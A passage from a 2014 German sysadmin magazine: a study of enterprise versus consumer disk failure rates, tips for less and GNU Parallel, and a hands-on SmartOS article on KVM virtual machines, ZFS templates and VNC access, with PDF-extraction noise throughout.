mussten. Das ergibt eine jährliche Fehlerrate, die <strong>mit</strong> 4,6 Prozent bei den<br />

Enterprise-Festplatten sogar etwas über der der Consumer-Disks (4,2 Prozent)<br />

lag! Aus dieser Perspektive kommt der Blog zu dem klaren Schluss,<br />

dass sich Enterprise-Platten nicht lohnen, weil sie für den sehr viel höheren<br />

Preis nicht länger halten.<br />

Die Studie hatte allerdings möglicherweise die eine oder andere kleine<br />

methodische Schwachstelle. So ersetzen Storage-Arrays Platten unter<br />

Umständen vorbeugend, wenn sie eine steigende Fehlerrate registrieren,<br />

weil das RAID-Rebuild dann schneller und risikoärmer verläuft als nach einem<br />

Totalausfall. Unter den vermeintlich ausgefallenen Enterprise-Platten<br />

mögen also einige nur geschädigt gewesen sein, wogegen die Consumer-<br />

Platten alle tatsächlich ausgefallen waren. Auch führen Enterprise-Platten<br />

neben der angeblich größeren Lebensdauer noch andere Vorteile ins Feld,<br />

etwa einen vibrationsärmeren Lauf. Der ist aber an sich auch kein Vorteil,<br />

sondern soll <strong>mit</strong>telbar nur wieder die Ausfallwahrscheinlichkeit senken.<br />

Und auch eine längere Garantiezeit ist nur dann ein Gewinn, wenn man<br />

Leistungen daraus in Anspruch nehmen will.<br />

Angesichts der großen Preisunterschiede scheinen sich Consumer-Platten<br />

aber wohl oft für diejenigen zu lohnen, die durch RAID-Konfigurationen für<br />

die nötige Redundanz sorgen und ausgefallene Laufwerke selbst ersetzen.<br />

n Mehr Nutzen <strong>mit</strong> less<br />

Less hilft bei der täglichen Administration von Unix- und<br />

Linux-Systemen. Ein paar kleine Tricks erleichtern die<br />

Arbeit da<strong>mit</strong> noch mehr.<br />

Oft nimmt man zwei entfernte Stellen einer größeren<br />

Datei in Augenschein. Beispielsweise sucht man im<br />

Syslog nach der Erstinitialisierung eines Geräts beim<br />

Booten und später nach Fehlermeldungen von diesem<br />

Device. Das erste Auftreten des gesuchten Device-Namens<br />

findet man vielleicht <strong>mit</strong> der Vorwärtssuche nach<br />

Eingabe eines Slash, gefolgt vom Suchwort, etwa<br />

/sdb<br />

Danach springt die Taste [n] jeweils zur nächsten Fundstelle.<br />

Ist man an der Position, die die Fehlermeldung<br />

enthält, möchte man eine Information vom Anfang erneut<br />

nachschlagen. Man könnte rückwärts suchen<br />

?sdb<br />

und wieder würde [n] von Fundstelle zu Fundstelle<br />

führen, jetzt rückwärts. Aber es geht viel eleganter und<br />

effizienter. Dazu setzt man beim ersten Auftreten einen<br />

Marker <strong>mit</strong> der Taste [m] gefolgt von einem beliebigen<br />

Buchstaben, der quasi der Name der Markierung ist<br />

ma<br />

Jetzt kann man jederzeit <strong>mit</strong> Hochkomma und Markername<br />

zu dieser Stelle zurückspringen:<br />

'a<br />

Laurent Dambies, 123RF<br />

Hat man auch die zweite Stelle markiert, wechselt man<br />

<strong>mit</strong> einer Tastenkombination über beliebige Distanzen<br />

hin und her.<br />

www.admin-magazin.de


Basics<br />

Admin-Tipps<br />

83<br />

n Parallele Linux-Shell<br />

Prozessoren <strong>mit</strong> mehreren Kernen statt<br />

immer höherer Taktfrequenz beschleunigen<br />

inzwischen selbst Smartphones<br />

und Laptops der unteren Preisklasse.<br />

Betriebssysteme, Benutzeroberflächen<br />

und viele Anwendungen setzen fast<br />

selbstverständlich auf Parallelbetrieb.<br />

Nur die Linux-Shell läuft nach wie vor<br />

im alten, sequenziellen Betrieb: Ein Befehl<br />

folgt brav dem anderen.<br />

Das Gnu-Werkzeug Parallel [2] schafft<br />

jedoch Abhilfe. Ohne dass der Anwender<br />

sich um die Verwaltung von<br />

Ressourcen oder um die Aufteilung von<br />

Eingabedaten kümmern muss, nutzt<br />

das Werkzeug die über die Prozessorkerne<br />

verteilte Rechnerleistung aus.<br />

Das Perl-Skript Parallel findet sich bei<br />

den meisten Distributionen in einem<br />

eigenen, gleichnamigen Paket. Beim<br />

Aufruf liest es die auszuführenden<br />

Kommandos von STDIN; alternativ teilt<br />

es eine zu verarbeitende Datei auf und<br />

wendet einen Befehl auf die einzelnen<br />

Bestandteile an.<br />

Beispielsweise komprimiert der folgende<br />

Befehl mehrere Dateien in einem<br />

Verzeichnis gleichzeitig:<br />

$ ls | parallel gzip {}<br />

Die Ausgabe von ls lässt sich hierbei beliebig<br />

einschränken oder durch ein anderes<br />

Werkzeug wie find ersetzen. Ein<br />

Paar geschweifter Klammern »{}« steht<br />

als Platzhalter für eine Eingabezeile zur<br />

Verfügung, sodass sie sich als Argument<br />

für einen Befehl verwenden lässt. Eine<br />

alternative Schreibweise nimmt Eingabeargumente<br />

direkt entgegen:<br />

$ parallel gzip ::: datei1 datei2 datei3<br />

Das Kommandozeilenargument »‐j«<br />

definiert die Anzahl der nebenläufig<br />

auszuführenden<br />

Jobs. Standardmäßig<br />

startet Parallel<br />

so viele Prozesse<br />

gleichzeitig, wie<br />

Prozessoren beziehungsweise<br />

Kerne<br />

zur Verfügung stehen.<br />

Die Angabe lässt sich<br />

auch in Prozent und<br />

relativ zur Anzahl der<br />

Prozessoren definieren, beispielsweise<br />

führt die Angabe von »‐j 150%« dazu,<br />

dass jede CPU <strong>mit</strong> 1,5 Jobs versorgt<br />

wird. Diese Zahl gilt als gute Faustregel,<br />

um eine dauerhafte Vollauslastung zu<br />

erzielen, da die leichte Überbelegung<br />

dem Prozessorleerlauf während längerer<br />

Festplattenzugriffe entgegenwirkt.<br />

Falls bei der Ausgabe der parallelen<br />

Jobs die Reihenfolge wichtig ist, sorgt<br />

das Argument »‐k« dafür, dass diese der<br />

Eingabereihenfolge entspricht, egal wie<br />

schnell die Teilprozesse die Verarbeitung<br />

abschließen. Ohne diese Angabe<br />

lässt sich nicht vorhersagen, in welcher<br />

Reihenfolge die Einzelergebnisse eintreffen,<br />

da viele, praktisch unberechenbare<br />

Faktoren einzelne Prozesse verzögern<br />

oder beschleunigen können.<br />

Soll ein Befehl eine oder mehrere Dateien<br />

abarbeiten, hilft das Argument<br />

»‐‐pipe«. Der folgende Befehl zerlegt<br />

beispielsweise eine Datei zeilenweise<br />

und füttert sie an mehrere nebeneinander<br />

laufende grep-Prozesse:<br />

$ parallel ‐j 150% ‐k ‐‐pipe grep<br />

"ERROR" programm.log<br />

Im Fall von grep bietet sich die zeilenweise<br />

Verarbeitung zwar an, aber<br />

andere Befehle bevorzugen möglicherweise<br />

andere Eingabeblöcke. In diesem<br />

Fall definieren die Argumente »‐‐recstart«<br />

und »‐‐recend« die Zeichen, die<br />

anstelle von Zeilenumbrüchen als Markierungen<br />

für Beginn beziehungsweise<br />

Ende einer Einheit dienen.<br />

Bei der Parallelisierungswut darf ein<br />

Hinweis jedoch nicht fehlen: In vielen<br />

Fällen, in denen Bash-Prozesse viel<br />

Zeit benötigen, liegt das gar nicht am<br />

Prozessor. Der Flaschenhals ist häufig<br />

die Festplatte <strong>mit</strong> ihren vergleichsweise<br />

langen Lese- und Schreibzugriffszeiten.<br />

In diesem Fall hilft es leider nichts, die<br />

eingehenden Daten auf mehrere Prozessoren<br />

zu verteilen.<br />

n Info<br />

Weiterführende Links und<br />

Informationen zu diesem<br />

Artikel finden Sie unter:<br />

www.admin-magazin.de/qr/31655<br />

[1] Enterprise Drives: Fact or Fiction? (Englisch)<br />

[http:// blog. backblaze. com/ 2013/ 12/ 04/​<br />

enterprise‐drive‐reliability/]<br />

[2] Gnu Parallel: [http:// www. gnu. org/ software/​<br />

parallel/]<br />

neue Tipps im Newsletter<br />

Jede Woche erscheint in unserem Newsletter ein neuer <strong>ADMIN</strong>-Tipp. Eine Sammlung aller Tipps<br />

finden Sie im Archiv der <strong>ADMIN</strong>-Tipps unter [http:// www. admin‐magazin. de/ News/ Tipps/].<br />

Den Newsletter können Sie unter [http:// www. admin‐magazin. de/ newsletter] abonnieren.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


SmartOS als Virtualisierungsplattform<br />

Clever<br />

und smart<br />

Paulus NR, 123RF<br />

SmartOS bringt das Beste von Linux und Solaris zusammen, um eine Virtualisierungsplattform <strong>mit</strong> ZFS<br />

und KVM zu realisieren. Oliver Frommel<br />

Viele Administratoren und Unix-<br />

Freunde bedauern es, dass <strong>mit</strong> dem<br />

Verkauf von Sun an Oracle auch der<br />

Geist begraben wurde, der einmal<br />

in der Welt von Solaris und Sparc<br />

herrschte. Ein bisschen davon lebt in<br />

der Firma Joyent weiter, wenn man<br />

dem ehemaligen Sun-Chef Scott Mc-<br />

Nealy glauben darf, der auf Twitter <strong>mit</strong>teilte<br />

„Great to see Sun spirit lives on.“<br />

Ein Grund dafür ist, dass einige ehemalige<br />

Sun-Programmierer nun bei Joyent<br />

arbeiten und dort ein Betriebssystem<br />

entwickeln, das auf Solaris basiert:<br />

SmartOS [1] ist die Grundlage für das<br />

Cloud-Angebot, <strong>mit</strong> dem Joyent in<br />

Konkurrenz zu Amazon treten möchte,<br />

auch wenn die Firma davon noch ein<br />

gutes Stück entfernt ist.<br />

Der Geist von Sun<br />

Die Firma Sun hat bekanntlich im Jahr<br />

2005, wohl unter dem Eindruck der<br />

immer stärker werdenden Konkurrenz<br />

durch Linux, den Quellcode von So-<br />

laris unter dem Namen OpenSolaris<br />

veröffentlicht. Die Freude darüber<br />

währte aber nur einige Jahre, denn<br />

Oracle machte den Schritt bald nach<br />

der Übernahme wieder rückgängig. In<br />

der Zwischenzeit hat sich aber recht<br />

schnell eine kleine Community um<br />

OpenSolaris entwickelt, darunter auch<br />

einige Firmen wie Nexenta, die das nun<br />

freie System als Basis ihrer Produkte<br />

verwendeten.<br />

Nach der Ankündigung durch Oracle,<br />

Solaris künftig wieder hinter verschlossenen<br />

Türen weiterzuentwickeln, gründete<br />

Nexenta zusammen <strong>mit</strong> anderen<br />

das Illumos-Projekt, das auf einem<br />

Fork des damals freien Solaris-Kernel<br />

beruht. Der Illumos-Kernel wurde zur<br />

Basis für diverse freie Solaris-Ableger,<br />

etwa OpenIndiana, Illumian, EON, OmniOS<br />

und eben SmartOS.<br />

Das Besondere an SmartOS ist, dass<br />

Joyent selbst viel Aufwand in die Entwicklung<br />

gesteckt hat, um das System<br />

als möglichst flexible Basis für die eigene<br />

Cloud verwenden zu können. Um<br />

diese Flexibilität zu gewährleisten, hat<br />

Joyent in Person von Max Bruning den<br />

Linux-Hypervisor KVM auf den Solaris-<br />

Kernel portiert. Dieses Projekt nahm<br />

etwa ein halbes Jahr in Anspruch, dann<br />

lief KVM auf SmartOS und konnte so<strong>mit</strong><br />

alle Gastsysteme betreiben, die auch<br />

<strong>mit</strong> KVM funktionieren.<br />

KVM für Solaris<br />

Vor dem KVM-Port gab es in SmartOS<br />

schon die von Solaris stammenden Zones,<br />

die Betriebssystem-Virtualisierung<br />

<strong>mit</strong> Containern und wenig Ballast bieten.<br />

Allerdings ist man hierbei normalweise<br />

auf das Betriebssystem des Hosts<br />

beschränkt, auch wenn es in Solaris<br />

bereits Branded Zones <strong>mit</strong> Linux gab.<br />

Volle Virtualisierung <strong>mit</strong> KVM bietet jedenfalls<br />

mehr Optionen, etwa die, auch<br />

diverse Microsoft-Systeme als Gastsystem<br />

zu betreiben.<br />

Ein weiterer Vorteil von SmartOS besteht<br />

darin, dass es komplette Unter-<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Virtualisierung<br />

SmartOS<br />

85<br />

stützung für das Tracing-Framework<br />

DTrace bietet, <strong>mit</strong> dem sich Kernel und<br />

Userspace-Programme ohne großen<br />

Overhead zur Laufzeit untersuchen lassen<br />

(Abbildung 1). Zwar gibt es auch für<br />

Linux vergleichbare Tools wie Kprobes<br />

und neuerdings auch einen DTrace-<br />

Port, aber beide stecken verglichen <strong>mit</strong><br />

DTrace noch in den Kinderschuhen.<br />

Joyent hat auf der Grundlage von<br />

DTrace umfangreiche Programme<br />

geschrieben, <strong>mit</strong> denen Kunden die<br />

eigene Cloud im Detail analysieren<br />

können. Dabei muss sich der Anwender<br />

nicht mehr <strong>mit</strong> DTrace-Skripts beschäftigen,<br />

sondern bekommt diverse<br />

grafische Darstellungen präsentiert, die<br />

ihm einen Eindruck von Auslastung und<br />

Engpässen verschaffen.<br />

Auch das ZFS-Dateisystem hat in dem<br />

Virtualisierungskonzept von SmartOS<br />

einen besonderen Platz. Das System<br />

profitiert nicht nur von den allgemeinen<br />

Fähigkeiten des Solaris-Dateisystems,<br />

etwa der Möglichkeit, RAID-<br />

Systeme zu realisieren und sie nach Belieben<br />

zu erweitern. Auch die virtuellen<br />

Maschinen machen von ZFS-Features<br />

Gebrauch, weil die Dateisysteme von<br />

VMs nur Snapshots der VM-Templates<br />

sind und so<strong>mit</strong> Speicherplatz sparen.<br />

SmartOS selber einsetzen<br />

Wer die Vorteile von SmartOS selbst erfahren<br />

möchte, muss nicht Kunde von<br />

Joyent werden, denn SmartOS steht<br />

als freie Software zur Verfügung. Zum<br />

Download gibt es mehrere Optionen:<br />

verschiedene Images für CDs, USB-<br />

Sticks und virtuelle Maschinen sowie<br />

Dateien zum PXE-Booten.<br />

SmartOS wird nicht auf der Festplatte<br />

installiert, denn ein aktuelles System<br />

ist am ehesten gewährleistet, wenn<br />

keine alten Dateien auf dem Dateisystem<br />

liegen. Das Betriebssystem wird<br />

also stets komplett von einem Medium<br />

gebootet, während die virtuellen Maschinen<br />

auf einem ZFS-Storage-Pool<br />

dauerhaft gespeichert sind. Im einfachsten<br />

Fall startet man SmartOS von<br />

USB-Stick oder CD, in Produktivumgebungen<br />

am besten über PXE von einem<br />

Server.<br />

Am sinnvollsten ist für SmartOS ein<br />

echter Rechner, denn es setzt das Vor-<br />

Abbildung 1: Ein <strong>mit</strong> DTrace erstellter Flame Graph, der den Call Stack von MySQL visualisiert.<br />

handensein der Prozessorfeatures (nur<br />

Intel) VMX (VT) und EPT (Extended Page<br />

Tables) voraus, die in virtualisierten<br />

Systemen nicht unbedingt gegeben<br />

sind. Möglich ist die Installation etwa<br />

in VMware Fusion, das die beiden<br />

Features auch an Gast-Systeme weiterreicht.<br />

Auch in VirtualBox ist die<br />

Installation von SmartOS möglich,<br />

aber die Performance ist nicht die<br />

beste. Schließlich bietet auch Linux<br />

<strong>mit</strong> Nested-KVM zumindest VMX in virtuellen<br />

Maschinen an. Allerdings gibt<br />

es erst seit Kernel 3.12 auch Support<br />

für Nested-EPT, wo<strong>mit</strong> sich SmartOS<br />

immerhin ohne die entsprechende Fehlermeldung<br />

installieren ließ. Allerdings<br />

blieb es danach stets beim Start einer<br />

KVM-Maschine hängen. Ein eigener<br />

Rechner ist also die beste Lösung.<br />

Obwohl es keine Installation gibt, muss<br />

man nach dem Booten von CD oder<br />

USB ein paar Dinge einrichten, nämlich<br />

das Root-Passwort, die Netzwerkeinstellungen<br />

und die Storage-Optionen.<br />

SmartOS setzt als Storage mindestens<br />

eine komplette Festplatte voraus, <strong>mit</strong><br />

mehreren Festplatten lassen sich im<br />

ZFS-Pool auch diverse RAID-Setups<br />

realisieren. Schon bei diesem Schritt<br />

muss sich der Linux-Anwender etwas<br />

umstellen, denn die Devices werden<br />

Solaris-typisch benannt: »c0t0d0«, wobei<br />

»c0« für den ersten Controller steht,<br />

»t0« für den ersten Bus und »d0« für die<br />

erste Disk.<br />

Loggt man sich im neuen SmartOS-<br />

System ein, landet man in einer<br />

Solaris-Umgebung und muss sich <strong>mit</strong><br />

ein paar neuen Tools vertraut machen.<br />

So gibt es beispielsweise das von Linux<br />

bekannte »top« nicht, stattdessen<br />

aber ein Programm namens »prstat«.<br />

Ein praktisches Cheatsheet für Linux-<br />

Anwender, das die entsprechenden<br />

Befehle in SmartOS aufführt, ist unter<br />

[2] zu finden.<br />

Die wenigen Konfigurationsdaten,<br />

die SmartOS im ZFS-Dateisystem<br />

speichert, sind in »/usbkey/config« zu<br />

finden. Die sogenannte Global Zone, in<br />

der man sich nach dem Einloggen wiederfindet,<br />

ist nicht persistent, sondern<br />

auf einer RAM-Disk gespeichert. Das bedeutet<br />

insbesondere, dass man keine<br />

Benutzer anlegen kann, die nach einem<br />

Reboot noch da sind, ebenso auch<br />

keine Dateien in den Verzeichnissen<br />

»/etc«, »/root« und »/usr«. Allerdings<br />

befindet sich »/opt« (und auch »/var«)<br />

im ZFS und kann deshalb zum Speichern<br />

von Dateien verwendet werden.<br />

Wer will, kann sogar den Paketmanager<br />

»pkgin« dort installieren und dann nach<br />

Herzenslust Software einspielen. Für<br />

den Paketmanager gibt es ein fertiges<br />

Tar-Paket, das man nur herunterladen<br />

und entpacken muss:<br />

cd /<br />

curl ‐k http://pkgsrc.joyent.com/U<br />

packages/SmartOS/bootstrap/bootstrapU<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


86<br />

Virtualisierung<br />

SmartOS<br />

Abbildung 2: Die verfügbaren Templates für virtuelle Maschinen lassen sich in den lokalen Store<br />

importieren.<br />

‐2013Q3‐x86_64.tar.gz | gzcat | tar U<br />

‐xf ‐<br />

Danach gilt es <strong>mit</strong> »pkg_admin rebuild«<br />

die Paketdatenbank zu erneuern und<br />

<strong>mit</strong> »pkgin ‐y up« zu aktualisieren. Jetzt<br />

steht das Programm »pkgin« zur Verfügung,<br />

das nach Paketen suchen, sie<br />

installieren und wieder deinstallieren<br />

kann. Alle Pakete landen unterhalb des<br />

n Listing 1: »vmspec.json«<br />

01 {<br />

02 "brand": "kvm",<br />

03 "alias": "ubuntu1",<br />

04 "vcpus": 1,<br />

05 "autoboot": false,<br />

06 "ram": 2048,<br />

07 "resolvers": ["192.168.111.254"],<br />

08 "disks": [<br />

09 {<br />

10 "image_uuid": "1fc068b0‐13b0‐11e2‐9f4e‐2f<br />

3f6a96d9bc",<br />

11 "boot": true,<br />

12 "model": "virtio"<br />

13 }<br />

14 ],<br />

15 "nics": [<br />

16 {<br />

17 "nic_tag": "admin",<br />

18 "model": "virtio",<br />

19 "ip": "dhcp",<br />

20 "primary": 1<br />

21 }<br />

22 ]<br />

23 }<br />

Verzeichnisses »/opt/local« und sind<br />

auch nach einem Reboot noch da.<br />

Auch Services dauerhaft einzurichten,<br />

ist über das »/opt«-Verzeichnis möglich.<br />

Die Service Management Facility<br />

(SMF), die bei Solaris und SmartOS die<br />

Verwaltung von Diensten übernimmt,<br />

sieht beim Booten auch im Verzeichnis<br />

»/opt/custom/smf« nach, wo man also<br />

die Konfigurationsdateien für eigene<br />

Services ablegen kann.<br />

Images besorgen<br />

Virtuelle Maschinen verwalten zwei<br />

einfache Befehle. »imgadm« verwaltet<br />

die Images, auf denen die virtuellen<br />

Maschinen basieren, die der SmartOS-<br />

Administrator <strong>mit</strong> »vmadm« installiert.<br />

Dazu gibt es ein lokales Verzeichnis von<br />

VM-Templates, das »imgadm list« anzeigt.<br />

Anfangs gibt es hier noch nichts<br />

zu sehen, bevor nicht wenigstens ein<br />

Template importiert ist.<br />

Per Default ist »imgadm« so konfiguriert,<br />

dass es auf den Image-Server<br />

zurückgreift, der unter »https://images.<br />

joyent.com« zu finden ist, wie »imgadm<br />

sources« verrät. Neue Server lassen<br />

sich ebenfalls <strong>mit</strong> diesem Kommando<br />

hinzufügen. Welche Images bei Joyent<br />

zu finden sind, ist <strong>mit</strong> »imgadm avail«<br />

zu erfahren. »imgadm update« bringt<br />

die Liste auf den laufenden Stand. In<br />

den lokalen Image Store importiert<br />

»imgadm import UUID« ein Image.<br />

Grundsätzlich gibt es zwei Typen von<br />

Images: »smartos« für Solaris Zones (im<br />

SmartOS-Jargon „Joyent-Brand“) und<br />

KVM-Images, von denen das Joyent-<br />

Repository derzeit »linux« und »bsd«<br />

anbietet.<br />

Wie in Abbildung 2 zu sehen ist, verwendet<br />

SmartOS zur Identifizierung<br />

von Images – wie auch virtueller<br />

Maschinen – recht unübersichtliche<br />

Hashes, die für die manuelle Administration<br />

oft umständlich erscheinen,<br />

aber immerhin <strong>mit</strong> Copy-and-Paste zu<br />

bewältigen sind.<br />

Ist ein VM-Template importiert, kann<br />

man sich an das Erzeugen einer virtuellen<br />

Maschine machen. Dazu braucht<br />

man neben dem Template noch eine<br />

Spezifikation der virtuellen Maschine,<br />

die im JSON-Format abgefasst ist und<br />

im Wesentlichen die virtuelle Hardware<br />

der VM bestimmt, also Disks, Netzwerkkarten<br />

und so weiter.<br />

Ein Beispiel einer solchen Spezifikation<br />

ist in Listing 1 zu sehen. Der Eintrag<br />

»brand« legt den Virtualisierungstyp<br />

fest. Im Beispiel ist es »kvm«, für Zones<br />

lautet der Eintrag »joyent«. Ein »alias«<br />

ist praktisch, denn sonst findet man die<br />

Maschine später nur schwer wieder. Bei<br />

den Modellen der Disk-Hardware gibt<br />

es alternativ zu Virtio auch die Standards<br />

IDE und SCSI, aber Virtio gilt für<br />

Linux als die beste Lösung. Auch für virtuelle<br />

Windows-Maschinen kann man<br />

diese Option einsetzen, braucht aber<br />

dann passende Treiber, insbesondere<br />

bei der Installation. Das Gleiche gilt für<br />

die Netzwerkkarte, für die alternativ<br />

zu Virtio auch Emulationen gängiger<br />

Ethernet-Hardware existieren.<br />

Der springende Punkt ist schließlich,<br />

im Disks-Abschnitt die »image_uuid«<br />

einzutragen, die derjenigen des importierten<br />

Templates entsprechen muss.<br />

Mit dieser Konfiguration erzeugt ein<br />

Aufruf von »vmadm create ‐f vmspec.<br />

json« eine neue virtuelle Maschine,<br />

deren (neue) UUID der Befehl ausgibt –<br />

wenn alles klappt. Der Befehl »vmadm<br />

list« zeigt in der Liste die jetzt laufende<br />

Maschine an (Abbildung 3). Eine Übersicht<br />

aller in den JSON-Konfigurationsdateien<br />

verfügbaren Optionen ist unter<br />

[3] zu finden.<br />

Einige Konfigurationsvariablen lassen<br />

sich auch zur Laufzeit <strong>mit</strong> »vmadm«<br />

Ausgabe 02-2014 Admin www.admin-magazin.de


Virtualisierung<br />

SmartOS<br />

87<br />

ändern. Beispielsweise ändert »vmadm<br />

update alias=Name« den Alias der virtuellen<br />

Maschine. Alternativ liest der<br />

Befehl auch JSON-Abschnitte ein und<br />

aktualisiert da<strong>mit</strong> die Konfiguration. So<br />

kann man beispielsweise auch eigene<br />

Metadaten in die Konfiguration integrieren.<br />

Listing 2 zeigt entsprechende<br />

JSON-Daten und wie man sie in die<br />

Konfiguration einliest.<br />

Sich auf der virtuellen Maschine einzuloggen,<br />

ist beispielsweise <strong>mit</strong> einem<br />

Aufruf von »vmadm console VM‐UUID«<br />

möglich. Allerdings muss das Gastsystem<br />

dann so konfiguriert sein, dass auf<br />

der ersten seriellen Schnittstelle ein<br />

Getty-Prozess auf ein Login wartet.<br />

Alternativ bietet SmartOS für jede VM<br />

einen Remotedesktop-Zugang per VNC,<br />

dessen Port automatisch vergeben<br />

wird. Um herauszufinden, welchen<br />

Port die aktuelle Maschine verwendet,<br />

kennt »vmadm« den Befehl »info«, in<br />

dem auch die VNC-Konfiguration verborgen<br />

ist (Abbildung 4).<br />

Zugang auch per VNC<br />

Den Remotedesktop zeigt unter Linux<br />

beispielsweise der VNC-Viewer <strong>mit</strong><br />

»vnc viewer 192.168.111.20:43948« an.<br />

So kann man dann per VNC herausfinden,<br />

welche IP-Adresse per DHCP<br />

vergeben wurde, wenn man keine statischen<br />

IP-Adressen verwendet oder sie<br />

im DHCP-Server für eine MAC-Adresse<br />

fix zugeordnet hat. Sinnvoll ist es in jedem<br />

Fall, sich eine strukturierte Lösung<br />

für das Management von IP-Adressen<br />

für die VMs auszudenken.<br />

Per Default ist der VNC-Zugang übrigens<br />

nicht abge<strong>sicher</strong>t. Man sollte<br />

einen SmartOS-Host also am besten<br />

nicht im Internet aufstellen. Für einzelne<br />

VMs setzt der Aufruf »vmadm update<br />

VM‐UUID vnc_password=Passwort«<br />

ein Passwort.<br />

Im Test gab es übrigens des öfteren<br />

das Problem, dass bei der VNC-Anzeige<br />

wichtige Zeichen nicht <strong>mit</strong> der Tastatur<br />

zu erzeugen waren, weil die Keymap<br />

nicht stimmte. Es ließ sich beheben,<br />

indem Qemu die passende Keymap<br />

als Parameter übergeben bekam. Der<br />

Befehl dafür, die Keymap bei einer VM<br />

einzustellen, lautet »vmadm update<br />

VM‐UUID qemu_extra_opts="‐k de"«.<br />

Installation von OSs<br />

Alternativ zu vorgefertigten Image-<br />

Templates kann man eigene Templates<br />

verwenden oder Betriebssysteme<br />

komplett neu installieren, etwa für<br />

Windows-VMs, für die es keine Templates<br />

gibt. Der dafür vorgesehene Weg besteht<br />

darin, zuerst eine neue VM ohne<br />

ein Template anzulegen und dann von<br />

einem Installationsmedium zu booten.<br />

Die dafür nötige JSON-Datei sieht fast<br />

genauso aus wie Listing 1, aber statt<br />

des Disk-Abschnitts trägt man die<br />

Größe der virtuellen Festplatte ein:<br />

"disks": [<br />

{<br />

"boot": true,<br />

"model": "virtio",<br />

"size": 15000<br />

}<br />

],<br />

Da<strong>mit</strong> die VM das Installationsmedium<br />

findet, kopiert man dessen ISO-Image<br />

in ihr Root-Verzeichnis, das in »/zones/<br />

VM‐UUID/root« zu finden ist. Der<br />

»vmadm«-Befehl besitzt spezielle Optionen,<br />

um für die Installation einmalig<br />

die VM von diesem Image zu booten:<br />

vmadm start VM‐UUID order=U<br />

cd,once=d cdrom=/centos.iso,ide<br />

n Listing 2: »meta.json«<br />

01 # cat meta.json<br />

02 {<br />

03 "set_customer_metadata":<br />

04 {"opsys": "ubuntu"}<br />

05 }<br />

06 # vmadm update ed9879e8‐764a‐4c15‐a298‐6b51e815b<br />

68e < meta.json<br />

07 Successfully updated ed9879e8‐764a‐4c15‐a298‐6b<br />

51e815b68e<br />

Jetzt kann man, etwa über VNC, das<br />

Betriebssystem wie bei einer physischen<br />

Maschine installieren und nach<br />

einem Reboot des Gasts die VM vom<br />

neuen System starten.<br />

Wer eine CD oder DVD in den SmartOS-<br />

Rechner eingelegt hat, kann auch davon<br />

ein ISO-Image machen, um die VM<br />

da<strong>mit</strong> zu booten. Das geht ganz einfach<br />

<strong>mit</strong> dem dd-Befehl von Unix:<br />

dd if=/​dev/​dsk/​c0t4d0s2 of=U<br />

/zones/​VM-UUID/​root/​centos.iso<br />

Bleibt nur noch die Schwierigkeit, den<br />

Device-Namen des Laufwerks herauszufinden.<br />

Hierbei hilft der Befehl »iostat<br />

‐En«.<br />

Da<strong>mit</strong> man nicht jedes Gastsystem<br />

einzeln installieren muss, kann man<br />

von einem System eigene Templates<br />

Abbildung 3: »vmadm list« zeigt die installierten virtuellen Maschinen an.<br />

Abbildung 4: Mit einem Aufruf von »vmadm info« lässt sich der VNC-Port einer virtuellen Maschine<br />

herausfinden.<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 02-2014


88<br />

Virtualisierung<br />

SmartOS<br />

es <strong>mit</strong> dem SHA1-Hash. Ihn erzeugt das<br />

Digest-Kommando:<br />

/usr/bin/digest ‐a sha1 U<br />

centos6.5.zvol.gz<br />

Bei den Timestamps geht es nicht so<br />

genau, man kann sich auf die Anpassung<br />

des Datums beschränken. Ist die<br />

Manifest-Datei vollständig, importiert<br />

der folgende Aufruf das Template in<br />

den eigenen Store:<br />

imgadm install ‐m centos6.5.U<br />

dsmanifest ‐f centos6.5.zvol.gz<br />

Abbildung 5: Jede Menge ZFS-Volumes: SmartOS macht von den Snapshot-Fähigkeiten des<br />

Solaris-Dateisystems Gebrauch.<br />

anlegen und sie für neue Instanzen verwenden.<br />

Dazu ist es nötig, die UUID der<br />

entsprechenden Maschine <strong>mit</strong> »vmadm<br />

list« in Erfahrung zu bringen. Ein Aufruf<br />

von »zfs list« zeigt die ZFS-Volumes,<br />

unter denen sich auch diejenigen der<br />

VM befinden (Abbildung 5). Ist die VM<br />

heruntergefahren, erstellt man <strong>mit</strong> »zfs<br />

snapshot« einen Snapshot des Gast-<br />

Volumes. Ein zweiter Schritt macht per<br />

»zfs send« aus dem Snapshot eine Datei<br />

und komprimiert sie.<br />

zfs snapshot zones/5562fffe‐96b1‐U<br />

454e‐aff0‐6d8782875f2e‐disk0@image<br />

zfs send zones/5562fffe‐96b1‐454e‐U<br />

aff0‐6d8782875f2e‐disk0@image | gzip U<br />

> centos6.5.zvol.gz<br />

Ein komplettes VM-Template ist letztlich<br />

nichts anderes als eben ein solches<br />

komprimiertes Image zusammen <strong>mit</strong><br />

einer Datei, die die Metadaten enthält –<br />

natürlich wieder im JSON-Format. Ein<br />

Beispiel dafür ist in Listing 3 zu sehen.<br />

Die meisten Einträge darin dürften<br />

selbsterklärend sein. Die UUIDs, die<br />

man zum Beispiel für »uuid«, »creator_uuid«<br />

und »vendor_uuid« eintragen<br />

muss, lassen sich <strong>mit</strong> dem Befehl<br />

»uuid« erzeugen. Die »size« der Disk<br />

zeigt »ls ‐l« an. Etwas schwieriger wird<br />

Anschließend steht das Template für<br />

die Erzeugung neuer VMs zur Verfügung.<br />

Migration hausgemacht<br />

Auf ähnlichem Weg kann man übrigens<br />

eine Art VM-Migration nach Hausmacherart<br />

bewerkstelligen. Dazu konvertiert<br />

man auf dem Ursprungs-Host das<br />

Image der VM ins RAW-Format, falls es<br />

nicht ohnehin schon so gespeichert ist.<br />

Das funktioniert unter Linux beispielsweise<br />

<strong>mit</strong> »qemu‐img convert«. Dann<br />

kopiert man das RAW-Image auf den<br />

SmartOS-Host, auf dem man wie beschrieben<br />

eine neue VM <strong>mit</strong> passender<br />

Disk-Größe erstellt. Als letzten Schritt<br />

kopiert man die Daten <strong>mit</strong> »dd« oder<br />

»cat« direkt in das ZFS-Raw-Device:<br />

n Listing 3: »centos6.5.dsmanifest«<br />

01 {<br />

02 "name": "centos‐6.5",<br />

03 "version": "1.0.0",<br />

04 "type": "zvol",<br />

05 "cpu_type": "qemu64",<br />

06 "description": "Centos 6.5 VM 1.0.0",<br />

07 "created_at": "2013‐12‐04T02:51:46.994Z",<br />

08 "updated_at": "2013‐12‐04T02:51:46.994Z",<br />

09 "os": "linux",<br />

